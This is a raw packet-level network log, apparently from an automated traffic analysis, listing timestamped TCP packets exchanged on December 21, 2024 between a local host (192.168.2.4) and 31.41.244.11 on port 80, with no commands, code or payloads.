                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.412198067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.412234068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.412321091 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.413253069 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.413378000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.413418055 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.414343119 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.414448977 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.414499044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.415441990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.415555000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.415591955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.415622950 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.416563034 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.416654110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.416675091 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.417342901 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.417664051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.417720079 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.417757988 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.417859077 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.418780088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.418886900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.418930054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.419869900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.419919014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.419965029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.420043945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.421020031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.421117067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.421159983 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.422146082 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.422199011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.422247887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.423207045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.423250914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.423294067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.423341036 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.424293995 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.424339056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.424391031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.424431086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.425512075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.425556898 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.425736904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.425777912 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.426554918 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.426582098 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.426595926 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.426620960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.427644968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.427687883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.427726030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.427768946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.428721905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.428765059 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.428766966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.428805113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.429909945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.429955006 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.430032015 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.430074930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.430990934 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.431034088 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.431071043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.431109905 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.432071924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.432089090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.432115078 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.432138920 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.433156013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.433201075 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.433239937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.433279991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.434242964 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.434284925 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.434361935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.434406996 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.435378075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.435420036 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.435466051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.435508966 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.436481953 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.436527014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.436573029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.436618090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.437558889 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.437602997 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.437693119 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.437735081 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.438744068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.438770056 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.438792944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.438806057 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.439872980 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.439889908 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.439922094 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.439939022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.440944910 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.440987110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.441076994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.441117048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.441998959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.442040920 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.442112923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.442154884 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.443133116 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.443175077 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.443262100 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.443303108 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.444230080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.444266081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.444274902 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.444303036 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.445332050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.445375919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.579838037 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.579864979 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.579922915 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.579941988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.580022097 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.580050945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.580092907 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.581176043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.581229925 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.581233978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.581300974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.583008051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.583055019 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.583134890 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.583178997 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.583900928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.583947897 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.583982944 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.584022999 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592683077 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592720985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592746019 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592752934 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592767954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592773914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592792034 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592797041 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592812061 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592820883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592830896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592840910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592850924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592854977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592870951 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592880011 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592890024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592899084 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592910051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592916965 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592927933 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592940092 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592947960 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592959881 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592967987 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592979908 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592998028 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.592998028 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.593005896 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.593018055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.593034983 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.593060970 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.593476057 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.593502998 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.593525887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.593542099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.594615936 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.594660044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.594732046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.594774008 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.598926067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.598961115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.598978043 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.598982096 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599000931 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599006891 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599025965 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599035025 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599037886 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599055052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599077940 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599096060 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599208117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599225044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599247932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599267006 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599890947 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.599941015 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.600135088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.600179911 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.601054907 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.601098061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.601254940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.601298094 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.602061033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.602106094 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.602175951 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.602217913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.603179932 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.603224039 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.603270054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.603317976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.604295015 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.604337931 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.604398966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.604439974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.605411053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.605452061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.605495930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.605540037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.606509924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.606553078 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.606560946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.606607914 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.607611895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.607656956 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.607690096 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.607732058 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.608720064 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.608764887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.609124899 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.609168053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.609827042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.609872103 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.609915972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.609956026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.610944986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.610986948 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.611089945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.611129999 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.612047911 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.612095118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.612171888 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.613154888 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.613198996 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.613240004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.613859892 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.614254951 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.614304066 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.614367962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.614408970 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.615351915 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.615395069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.615438938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.615479946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.616476059 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.616523027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.616661072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.616705894 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.617568016 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.617609978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.617706060 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.617748976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.618727922 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.618769884 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.618918896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.618963957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.619889975 CET804976031.41.244.11192.168.2.4
